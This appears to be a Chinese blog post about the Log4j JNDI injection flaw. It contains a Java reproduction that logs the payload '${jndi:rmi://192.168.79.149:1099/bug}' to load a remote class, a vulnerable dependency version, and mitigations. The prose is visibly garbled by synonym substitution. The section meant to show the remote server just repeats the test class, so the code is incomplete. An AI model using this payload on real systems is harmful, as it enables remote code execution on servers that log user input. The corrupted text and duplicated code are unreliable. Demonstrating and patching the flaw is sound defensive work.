2021 年 12 月 9 日 20:54,Log4j 惊爆“核弹级”破绽,该破绽利用老本极低,能够间接任意代码执行,并接管指标服务器,其潜在危害严重性、影响面堪称往年之最。截至目前,Log4j2“核弹级”破绽影响寰球 6 万多个开源软件、30 余万开源软件包,影响风行开源软件 TOP10:Elasticsearch、SpringFramework、Druid、Spring Cloud Alibaba、Skywalking、Sentinel、MyBatis、HikariCP、Zipkin、MyBatis-Plus。该破绽不排除其它利用形式,后续期待官网正式补丁。
破绽复现
复现形式有两种:一种 ldap,一种 jndi;临时通过 jndi 复现,感兴趣的小伙伴能够试试
测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @Description:
* @Author: wangdakai
* @Date: 2021/12/13
*/
public class Log4jBugTest {private static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class);
public static void main(String[] args) {
// 退出前端给你传递的参数是 jndi 的,且此时你打印了他的参数。String params = "${jndi:rmi://192.168.79.149:1099/bug}";
LOGGER.error("params:{}",params);
}
}
近程服务器,此处用本人本地 ip 就行,端口不要改。
package com.cn.zj;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @Description:
* @Author: wangdakai
* @Date: 2021/12/13
*/
public class Log4jBugTest {private static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class);
public static void main(String[] args) {
// 退出前端给你传递的参数是 jndi 的,且此时你打印了他的参数。String params = "${jndi:rmi://192.168.79.149:1099/bug}";
LOGGER.error("params:{}",params);
}
}
执行共计这代码
package com.cn.zj;
/**
* @Description:
* @Author: wangdakai
* @Date: 2021/12/13
*/
public class Bug {
static {System.out.println("执行攻击者的代码");
}
}
maven 依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
执行能够发现,Bug 中的代码竟然能够再在咱们 Log4jBugTest 控制台说出,也就是说如果咱们代码报错且打印参数的状况下,将会被攻打。
解决方案
- 降级 jar 包,临时 log4j-2.15.0-rc2 最新版本比较稳定。然而之前说 log4j-2.15.0-rc1 稳固,不是还是能够被绕过,倡议等等在换,应用长期计划,等 log4j 稳固后再进行解决。
https://github.com/apache/log… - 设置参数
①设置参数:
log4j2.formatMsgNoLookups=True
②批改 JVM 参数:
-Dlog4j2.formatMsgNoLookups=true
③零碎环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true - 网络管理,禁止服务器外联